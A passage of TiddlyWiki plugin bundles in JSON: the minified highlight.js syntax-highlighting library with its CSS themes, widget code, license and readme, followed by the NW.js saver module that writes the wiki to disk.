md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex n name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding p package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second section securefile security seed segment select self sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime t table tables tablespace tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek\",literal:\"true false null\",built_in:\"array bigint binary bit blob boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text varchar varying void\"},c:[{cN:\"string\",b:\"'\",e:\"'\",c:[e.BE,{b:\"''\"}]},{cN:\"string\",b:'\"',e:'\"',c:[e.BE,{b:'\"\"'}]},{cN:\"string\",b:\"`\",e:\"`\",c:[e.BE]},e.CNM,e.CBCM,t]},e.CBCM,t]}});hljs.registerLanguage(\"nginx\",function(e){var r={cN:\"variable\",v:[{b:/\\$\\d+/},{b:/\\$\\{/,e:/}/},{b:\"[\\\\$\\\\@]\"+e.UIR}]},b={eW:!0,l:\"[a-z/_]+\",k:{built_in:\"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll\"},r:0,i:\"=>\",c:[e.HCM,{cN:\"string\",c:[e.BE,r],v:[{b:/\"/,e:/\"/},{b:/'/,e:/'/}]},{cN:\"url\",b:\"([a-z]+):/\",e:\"\\\\s\",eW:!0,eE:!0,c:[r]},{cN:\"regexp\",c:[e.BE,r],v:[{b:\"\\\\s\\\\^\",e:\"\\\\s|{|;\",rE:!0},{b:\"~\\\\*?\\\\s+\",e:\"\\\\s|{|;\",rE:!0},{b:\"\\\\*(\\\\.[a-z\\\\-]+)+\"},{b:\"([a-z\\\\-]+\\\\.)+\\\\*\"}]},{cN:\"number\",b:\"\\\\b\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}(:\\\\d{1,5})?\\\\b\"},{cN:\"number\",b:\"\\\\b\\\\d+[kKmMgGdshdwy]*\\\\b\",r:0},r]};return{aliases:[\"nginxconf\"],c:[e.HCM,{b:e.UIR+\"\\\\s\",e:\";|{\",rB:!0,c:[{cN:\"title\",b:e.UIR,starts:b}],r:0}],i:\"[^\\\\s\\\\}]\"}});hljs.registerLanguage(\"cpp\",function(t){var e={cN:\"keyword\",b:\"\\\\b[a-z\\\\d_]*_t\\\\b\"},r={cN:\"string\",v:[t.inherit(t.QSM,{b:'((u8?|U)|L)?\"'}),{b:'(u8?|U)?R\"',e:'\"',c:[t.BE]},{b:\"'\\\\\\\\?.\",e:\"'\",i:\".\"}]},s={cN:\"number\",v:[{b:\"\\\\b(\\\\d+(\\\\.\\\\d*)?|\\\\.\\\\d+)(u|U|l|L|ul|UL|f|F)\"},{b:t.CNR}]},i={cN:\"preprocessor\",b:\"#\",e:\"$\",k:\"if else elif endif define undef warning error line pragma ifdef ifndef\",c:[{b:/\\\\\\n/,r:0},{bK:\"include\",e:\"$\",c:[r,{cN:\"string\",b:\"<\",e:\">\",i:\"\\\\n\"}]},r,s,t.CLCM,t.CBCM]},a=t.IR+\"\\\\s*\\\\(\",c={keyword:\"int float while private char catch export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const struct for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using class asm case typeid short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignof constexpr decltype noexcept static_assert thread_local restrict _Bool complex _Complex _Imaginary atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong\",built_in:\"std string cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap array shared_ptr abort abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf\",literal:\"true false nullptr NULL\"};return{aliases:[\"c\",\"cc\",\"h\",\"c++\",\"h++\",\"hpp\"],k:c,i:\"</\",c:[e,t.CLCM,t.CBCM,s,r,i,{b:\"\\\\b(deque|list|queue|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\\\s*<\",e:\">\",k:c,c:[\"self\",e]},{b:t.IR+\"::\",k:c},{bK:\"new throw return else\",r:0},{cN:\"function\",b:\"(\"+t.IR+\"[\\\\*&\\\\s]+)+\"+a,rB:!0,e:/[{;=]/,eE:!0,k:c,i:/[^\\w\\s\\*&]/,c:[{b:a,rB:!0,c:[t.TM],r:0},{cN:\"params\",b:/\\(/,e:/\\)/,k:c,r:0,c:[t.CLCM,t.CBCM,r,s]},t.CLCM,t.CBCM,i]}]}});hljs.registerLanguage(\"php\",function(e){var c={cN:\"variable\",b:\"\\\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*\"},a={cN:\"preprocessor\",b:/<\\?(php)?|\\?>/},i={cN:\"string\",c:[e.BE,a],v:[{b:'b\"',e:'\"'},{b:\"b'\",e:\"'\"},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},t={v:[e.BNM,e.CNM]};return{aliases:[\"php3\",\"php4\",\"php5\",\"php6\"],cI:!0,k:\"and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally\",c:[e.CLCM,e.HCM,e.C(\"/\\\\*\",\"\\\\*/\",{c:[{cN:\"doctag\",b:\"@[A-Za-z]+\"},a]}),e.C(\"__halt_compiler.+?;\",!1,{eW:!0,k:\"__halt_compiler\",l:e.UIR}),{cN:\"string\",b:/<<<['\"]?\\w+['\"]?$/,e:/^\\w+;?$/,c:[e.BE,{cN:\"subst\",v:[{b:/\\$\\w+/},{b:/\\{\\$/,e:/\\}/}]}]},a,c,{b:/(::|->)+[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*/},{cN:\"function\",bK:\"function\",e:/[;{]/,eE:!0,i:\"\\\\$|\\\\[|%\",c:[e.UTM,{cN:\"params\",b:\"\\\\(\",e:\"\\\\)\",c:[\"self\",c,e.CBCM,i,t]}]},{cN:\"class\",bK:\"class interface\",e:\"{\",eE:!0,i:/[:\\(\\$\"]/,c:[{bK:\"extends implements\"},e.UTM]},{bK:\"namespace\",e:\";\",i:/[\\.']/,c:[e.UTM]},{bK:\"use\",e:\";\",c:[e.UTM]},{b:\"=>\"},i,t]}});hljs.registerLanguage(\"coffeescript\",function(e){var c={keyword:\"in if for while finally new do return else break catch instanceof throw try this switch continue typeof delete debugger super then unless until loop of by when and or is isnt not\",literal:\"true false null undefined yes no on off\",built_in:\"npm require console print module global window document\"},n=\"[A-Za-z$_][0-9A-Za-z$_]*\",r={cN:\"subst\",b:/#\\{/,e:/}/,k:c},t=[e.BNM,e.inherit(e.CNM,{starts:{e:\"(\\\\s*/)?\",r:0}}),{cN:\"string\",v:[{b:/'''/,e:/'''/,c:[e.BE]},{b:/'/,e:/'/,c:[e.BE]},{b:/\"\"\"/,e:/\"\"\"/,c:[e.BE,r]},{b:/\"/,e:/\"/,c:[e.BE,r]}]},{cN:\"regexp\",v:[{b:\"///\",e:\"///\",c:[r,e.HCM]},{b:\"//[gim]*\",r:0},{b:/\\/(?![ *])(\\\\\\/|.)*?\\/[gim]*(?=\\W|$)/}]},{cN:\"property\",b:\"@\"+n},{b:\"`\",e:\"`\",eB:!0,eE:!0,sL:\"javascript\"}];r.c=t;var s=e.inherit(e.TM,{b:n}),i=\"(\\\\(.*\\\\))?\\\\s*\\\\B[-=]>\",o={cN:\"params\",b:\"\\\\([^\\\\(]\",rB:!0,c:[{b:/\\(/,e:/\\)/,k:c,c:[\"self\"].concat(t)}]};return{aliases:[\"coffee\",\"cson\",\"iced\"],k:c,i:/\\/\\*/,c:t.concat([e.C(\"###\",\"###\"),e.HCM,{cN:\"function\",b:\"^\\\\s*\"+n+\"\\\\s*=\\\\s*\"+i,e:\"[-=]>\",rB:!0,c:[s,o]},{b:/[:\\(,=]\\s*/,r:0,c:[{cN:\"function\",b:i,e:\"[-=]>\",rB:!0,c:[o]}]},{cN:\"class\",bK:\"class\",e:\"$\",i:/[:=\"\\[\\]]/,c:[{bK:\"extends\",eW:!0,i:/[:=\"\\[\\]]/,c:[s]},s]},{cN:\"attribute\",b:n+\":\",e:\":\",rB:!0,rE:!0,r:0}])}});hljs.registerLanguage(\"javascript\",function(e){return{aliases:[\"js\"],k:{keyword:\"in of if for while finally var new function do return void else break catch instanceof with throw case default try this switch continue typeof delete let yield const export super debugger as async await\",literal:\"true false null undefined NaN Infinity\",built_in:\"eval isFinite isNaN parseFloat parseInt decodeURI decodeURIComponent encodeURI encodeURIComponent escape unescape Object Function Boolean Error EvalError InternalError RangeError ReferenceError StopIteration SyntaxError TypeError URIError Number Math Date String RegExp Array Float32Array Float64Array Int16Array Int32Array Int8Array Uint16Array Uint32Array Uint8Array Uint8ClampedArray ArrayBuffer DataView JSON Intl arguments require module console window document Symbol Set Map WeakSet WeakMap Proxy Reflect Promise\"},c:[{cN:\"pi\",r:10,b:/^\\s*['\"]use (strict|asm)['\"]/},e.ASM,e.QSM,{cN:\"string\",b:\"`\",e:\"`\",c:[e.BE,{cN:\"subst\",b:\"\\\\$\\\\{\",e:\"\\\\}\"}]},e.CLCM,e.CBCM,{cN:\"number\",v:[{b:\"\\\\b(0[bB][01]+)\"},{b:\"\\\\b(0[oO][0-7]+)\"},{b:e.CNR}],r:0},{b:\"(\"+e.RSR+\"|\\\\b(case|return|throw)\\\\b)\\\\s*\",k:\"return throw case\",c:[e.CLCM,e.CBCM,e.RM,{b:/</,e:/>\\s*[);\\]]/,r:0,sL:\"xml\"}],r:0},{cN:\"function\",bK:\"function\",e:/\\{/,eE:!0,c:[e.inherit(e.TM,{b:/[A-Za-z$_][0-9A-Za-z$_]*/}),{cN:\"params\",b:/\\(/,e:/\\)/,eB:!0,eE:!0,c:[e.CLCM,e.CBCM]}],i:/\\[|%/},{b:/\\$[(.]/},{b:\"\\\\.\"+e.IR,r:0},{bK:\"import\",e:\"[;$]\",k:\"import from as\",c:[e.ASM,e.QSM]},{cN:\"class\",bK:\"class\",e:/[{;=]/,eE:!0,i:/[:\"\\[\\]]/,c:[{bK:\"extends\"},e.UTM]}],i:/#/}});hljs.registerLanguage(\"ini\",function(e){var c={cN:\"string\",c:[e.BE],v:[{b:\"'''\",e:\"'''\",r:10},{b:'\"\"\"',e:'\"\"\"',r:10},{b:'\"',e:'\"'},{b:\"'\",e:\"'\"}]};return{aliases:[\"toml\"],cI:!0,i:/\\S/,c:[e.C(\";\",\"$\"),e.HCM,{cN:\"title\",b:/^\\s*\\[+/,e:/\\]+/},{cN:\"setting\",b:/^[a-z0-9\\[\\]_-]+\\s*=\\s*/,e:\"$\",c:[{cN:\"value\",eW:!0,k:\"on off true false yes no\",c:[{cN:\"variable\",v:[{b:/\\$[\\w\\d\"][\\w\\d_]*/},{b:/\\$\\{(.*?)}/}]},c,{cN:\"number\",b:/([\\+\\-]+)?[\\d]+_[\\d_]+/},e.NM],r:0}]}]}});hljs.registerLanguage(\"diff\",function(e){return{aliases:[\"patch\"],c:[{cN:\"chunk\",r:10,v:[{b:/^@@ +\\-\\d+,\\d+ +\\+\\d+,\\d+ +@@$/},{b:/^\\*\\*\\* +\\d+,\\d+ +\\*\\*\\*\\*$/},{b:/^\\-\\-\\- +\\d+,\\d+ +\\-\\-\\-\\-$/}]},{cN:\"header\",v:[{b:/Index: /,e:/$/},{b:/=====/,e:/=====$/},{b:/^\\-\\-\\-/,e:/$/},{b:/^\\*{3} /,e:/$/},{b:/^\\+\\+\\+/,e:/$/},{b:/\\*{5}/,e:/\\*{5}$/}]},{cN:\"addition\",b:\"^\\\\+\",e:\"$\"},{cN:\"deletion\",b:\"^\\\\-\",e:\"$\"},{cN:\"change\",b:\"^\\\\!\",e:\"$\"}]}});\nexports.hljs = hljs;\n",
            "type": "application/javascript",
            "title": "$:/plugins/tiddlywiki/highlight/highlight.js",
            "module-type": "library"
        },
        "$:/plugins/tiddlywiki/highlight/highlight.css": {
            "text": "/*\n\nOriginal style from softwaremaniacs.org (c) Ivan Sagalaev <Maniac@SoftwareManiacs.Org>\n\n*/\n\n.hljs {\n  display: block;\n  overflow-x: auto;\n  padding: 0.5em;\n  background: #f0f0f0;\n  -webkit-text-size-adjust: none;\n}\n\n.hljs,\n.hljs-subst,\n.hljs-tag .hljs-title,\n.nginx .hljs-title {\n  color: black;\n}\n\n.hljs-string,\n.hljs-title,\n.hljs-constant,\n.hljs-parent,\n.hljs-tag .hljs-value,\n.hljs-rule .hljs-value,\n.hljs-preprocessor,\n.hljs-pragma,\n.hljs-name,\n.haml .hljs-symbol,\n.ruby .hljs-symbol,\n.ruby .hljs-symbol .hljs-string,\n.hljs-template_tag,\n.django .hljs-variable,\n.smalltalk .hljs-class,\n.hljs-addition,\n.hljs-flow,\n.hljs-stream,\n.bash .hljs-variable,\n.pf .hljs-variable,\n.apache .hljs-tag,\n.apache .hljs-cbracket,\n.tex .hljs-command,\n.tex .hljs-special,\n.erlang_repl .hljs-function_or_atom,\n.asciidoc .hljs-header,\n.markdown .hljs-header,\n.coffeescript .hljs-attribute,\n.tp .hljs-variable {\n  color: #800;\n}\n\n.smartquote,\n.hljs-comment,\n.hljs-annotation,\n.diff .hljs-header,\n.hljs-chunk,\n.asciidoc .hljs-blockquote,\n.markdown .hljs-blockquote {\n  color: #888;\n}\n\n.hljs-number,\n.hljs-date,\n.hljs-regexp,\n.hljs-literal,\n.hljs-hexcolor,\n.smalltalk .hljs-symbol,\n.smalltalk .hljs-char,\n.go .hljs-constant,\n.hljs-change,\n.lasso .hljs-variable,\n.makefile .hljs-variable,\n.asciidoc .hljs-bullet,\n.markdown .hljs-bullet,\n.asciidoc .hljs-link_url,\n.markdown .hljs-link_url {\n  color: #080;\n}\n\n.hljs-label,\n.ruby .hljs-string,\n.hljs-decorator,\n.hljs-filter .hljs-argument,\n.hljs-localvars,\n.hljs-array,\n.hljs-attr_selector,\n.hljs-important,\n.hljs-pseudo,\n.hljs-pi,\n.haml .hljs-bullet,\n.hljs-doctype,\n.hljs-deletion,\n.hljs-envvar,\n.hljs-shebang,\n.apache .hljs-sqbracket,\n.nginx .hljs-built_in,\n.tex .hljs-formula,\n.erlang_repl .hljs-reserved,\n.hljs-prompt,\n.asciidoc .hljs-link_label,\n.markdown .hljs-link_label,\n.vhdl .hljs-attribute,\n.clojure .hljs-attribute,\n.asciidoc .hljs-attribute,\n.lasso .hljs-attribute,\n.coffeescript .hljs-property,\n.hljs-phony {\n  color: #88f;\n}\n\n.hljs-keyword,\n.hljs-id,\n.hljs-title,\n.hljs-built_in,\n.css .hljs-tag,\n.hljs-doctag,\n.smalltalk .hljs-class,\n.hljs-winutils,\n.bash .hljs-variable,\n.pf .hljs-variable,\n.apache .hljs-tag,\n.hljs-type,\n.hljs-typename,\n.tex .hljs-command,\n.asciidoc .hljs-strong,\n.markdown .hljs-strong,\n.hljs-request,\n.hljs-status,\n.tp .hljs-data,\n.tp .hljs-io {\n  font-weight: bold;\n}\n\n.asciidoc .hljs-emphasis,\n.markdown .hljs-emphasis,\n.tp .hljs-units {\n  font-style: italic;\n}\n\n.nginx .hljs-built_in {\n  font-weight: normal;\n}\n\n.coffeescript .javascript,\n.javascript .xml,\n.lasso .markup,\n.tex .hljs-formula,\n.xml .javascript,\n.xml .vbscript,\n.xml .css,\n.xml .hljs-cdata {\n  opacity: 0.5;\n}\n",
            "type": "text/css",
            "title": "$:/plugins/tiddlywiki/highlight/highlight.css",
            "tags": "[[$:/tags/Stylesheet]]"
        },
        "$:/plugins/tiddlywiki/highlight/highlightblock.js": {
            "title": "$:/plugins/tiddlywiki/highlight/highlightblock.js",
            "text": "/*\\\ntitle: $:/plugins/tiddlywiki/highlight/highlightblock.js\ntype: application/javascript\nmodule-type: widget\n\nWraps up the fenced code blocks parser for highlight and use in TiddlyWiki5\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar TYPE_MAPPINGS_BASE = \"$:/config/HighlightPlugin/TypeMappings/\";\n\nvar CodeBlockWidget = require(\"$:/core/modules/widgets/codeblock.js\").codeblock;\n\nvar hljs = require(\"$:/plugins/tiddlywiki/highlight/highlight.js\");\n\nhljs.configure({tabReplace: \"    \"});\t\n\nCodeBlockWidget.prototype.postRender = function() {\n\tvar domNode = this.domNodes[0],\n\t\tlanguage = this.language,\n\t\ttiddler = this.wiki.getTiddler(TYPE_MAPPINGS_BASE + language);\n\tif(tiddler) {\n\t\tlanguage = tiddler.fields.text || \"\";\n\t}\n\tif(language && hljs.listLanguages().indexOf(language) !== -1) {\n\t\tdomNode.className = language.toLowerCase() + \" hljs\";\n\t\tif($tw.browser && !domNode.isTiddlyWikiFakeDom) {\n\t\t\thljs.highlightBlock(domNode);\t\t\t\n\t\t} else {\n\t\t\tvar text = domNode.textContent;\n\t\t\tdomNode.children[0].innerHTML = hljs.fixMarkup(hljs.highlight(language,text).value);\n\t\t\t// If we're using the fakedom then specially save the original raw text\n\t\t\tif(domNode.isTiddlyWikiFakeDom) {\n\t\t\t\tdomNode.children[0].textInnerHTML = text;\n\t\t\t}\n\t\t}\n\t}\t\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/plugins/tiddlywiki/highlight/license": {
            "title": "$:/plugins/tiddlywiki/highlight/license",
            "type": "text/plain",
            "text": "Copyright (c) 2006, Ivan Sagalaev\nAll rights reserved.\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and/or other materials provided with the distribution.\n    * Neither the name of highlight.js nor the names of its contributors\n      may be used to endorse or promote products derived from this software\n      without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY\nEXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n"
        },
        "$:/plugins/tiddlywiki/highlight/readme": {
            "title": "$:/plugins/tiddlywiki/highlight/readme",
            "text": "This plugin provides syntax highlighting of code blocks using v8.8.0 of [[highlight.js|https://github.com/isagalaev/highlight.js]] from Ivan Sagalaev.\n\n! Usage\n\nWhen the plugin is installed it automatically applies highlighting to all codeblocks defined with triple backticks or with the CodeBlockWidget.\n\nThe language can optionally be specified after the opening triple braces:\n\n<$codeblock code=\"\"\"```css\n * { margin: 0; padding: 0; } /* micro reset */\n\nhtml { font-size: 62.5%; }\nbody { font-size: 14px; font-size: 1.4rem; } /* =14px */\nh1   { font-size: 24px; font-size: 2.4rem; } /* =24px */\n```\"\"\"/>\n\nIf no language is specified highlight.js will attempt to automatically detect the language.\n\n! Built-in Language Brushes\n\nThe plugin includes support for the following languages (referred to as \"brushes\" by highlight.js):\n\n* apache\n* bash\n* coffeescript\n* cpp\n* cs\n* css\n* diff\n* http\n* ini\n* java\n* javascript\n* json\n* makefile\n* markdown\n* nginx\n* objectivec\n* perl\n* php\n* python\n* ruby\n* sql\n* xml\n\nYou can also specify the language as a MIME content type (eg `text/html` or `text/css`). The mapping is accomplished via mapping tiddlers whose titles start with `$:/config/HighlightPlugin/TypeMappings/`.\n"
        },
        "$:/plugins/tiddlywiki/highlight/styles": {
            "title": "$:/plugins/tiddlywiki/highlight/styles",
            "tags": "[[$:/tags/Stylesheet]]",
            "text": ".hljs{display:block;overflow-x:auto;padding:.5em;color:#333;background:#f8f8f8;-webkit-text-size-adjust:none}.hljs-comment,.diff .hljs-header,.hljs-javadoc{color:#998;font-style:italic}.hljs-keyword,.css .rule .hljs-keyword,.hljs-winutils,.nginx .hljs-title,.hljs-subst,.hljs-request,.hljs-status{color:#333;font-weight:bold}.hljs-number,.hljs-hexcolor,.ruby .hljs-constant{color:teal}.hljs-string,.hljs-tag .hljs-value,.hljs-phpdoc,.hljs-dartdoc,.tex .hljs-formula{color:#d14}.hljs-title,.hljs-id,.scss .hljs-preprocessor{color:#900;font-weight:bold}.hljs-list .hljs-keyword,.hljs-subst{font-weight:normal}.hljs-class .hljs-title,.hljs-type,.vhdl .hljs-literal,.tex .hljs-command{color:#458;font-weight:bold}.hljs-tag,.hljs-tag .hljs-title,.hljs-rule .hljs-property,.django .hljs-tag .hljs-keyword{color:navy;font-weight:normal}.hljs-attribute,.hljs-variable,.lisp .hljs-body,.hljs-name{color:teal}.hljs-regexp{color:#009926}.hljs-symbol,.ruby .hljs-symbol .hljs-string,.lisp .hljs-keyword,.clojure .hljs-keyword,.scheme .hljs-keyword,.tex .hljs-special,.hljs-prompt{color:#990073}.hljs-built_in{color:#0086b3}.hljs-preprocessor,.hljs-pragma,.hljs-pi,.hljs-doctype,.hljs-shebang,.hljs-cdata{color:#999;font-weight:bold}.hljs-deletion{background:#fdd}.hljs-addition{background:#dfd}.diff .hljs-change{background:#0086b3}.hljs-chunk{color:#aaa}"
        },
        "$:/plugins/tiddlywiki/highlight/usage": {
            "title": "$:/plugins/tiddlywiki/highlight/usage",
            "text": "! Usage\n\nFenced code blocks can have a language specifier added to trigger highlighting in a specific language. Otherwise heuristics are used to detect the language.\n\n```\n ```js\n var a = b + c; // Highlighted as JavaScript\n ```\n```\n! Adding Themes\n\nYou can add themes from highlight.js by copying the CSS to a new tiddler and tagging it with [[$:/tags/Stylesheet]]. The available themes can be found on GitHub:\n\nhttps://github.com/isagalaev/highlight.js/tree/master/src/styles\n"
        }
    }
}
{
    "tiddlers": {
        "$:/core/modules/savers/nodewebkit.js": {
            "title": "$:/core/modules/savers/nodewebkit.js",
            "text": "/*\\\ntitle: $:/core/modules/savers/nodewebkit.js\ntype: application/javascript\nmodule-type: saver\n\nHandles saving changes in the NW.js environment. Not required by TiddlyDesktop, which re-uses the TiddlyFox saver, but useful if you're embedding a single TiddlyWiki document into a NW.js app.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false, netscape: false, Components: false */\n\"use strict\";\n\nvar NodeWebKitSaver = function(wiki) {\n};\n\nNodeWebKitSaver.prototype.save = function(text,method,callback) {\n\t// Bail out unless this is a save (rather than a download)\n\tif(method !== \"save\") {\n\t\treturn false;\n\t}\n\t// Get the pathname of this document\n\tvar pathname = document.location.pathname;\n\t// Test for a Windows path of the form /x:/blah/blah\n\tif(/^\\/[A-Z]\\:\\//i.test(pathname)) {\n\t\t// Remove the leading slash\n\t\tpathname = pathname.substr(1);\n\t\t// Convert slashes to backslashes\n\t\tpathname = pathname.replace(/\\//g,\"\\\\\");\n\t}\n\t// Try to save\n\tvar fs = require(\"fs\");\n\tfs.writeFile(pathname,text,callback);\n\treturn true;\n};\n\n/*\nInformation about this saver\n*/\nNodeWebKitSaver.prototype.info = {\n\tname: \"nodewebkit\",\n\tpriority: 1700\n};\n\n/*\nStatic method that returns true if this saver is capable of working\n*/\nexports.canSave = function(wiki) {\n\t// Check if we're running under node-webkit\n\treturn (typeof process == \"object\");\n};\n\n/*\nCreate an instance of this saver\n*/\nexports.create = function(wiki) {\n\treturn new NodeWebKitSaver(wiki);\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "saver"
        },
        "$:/plugins/tiddlywiki/nodewebkitsaver/readme": {
            "title": "$:/plugins/tiddlywiki/nodewebkitsaver/readme",
            "text": "This plugin provides a ''saver'' module for saving changes when using TiddlyWiki directly under NW.js (previously known as node-webkit).\n\n[[Source code|https://github.com/Jermolene/TiddlyWiki5/blob/master/plugins/tiddlywiki/nodewebkitsaver]]\n"
        }
    }
}
{
    "tiddlers": {
        "$:/plugins/tiddlywiki/railroad/components.js": {
            "title": "$:/plugins/tiddlywiki/railroad/components.js",
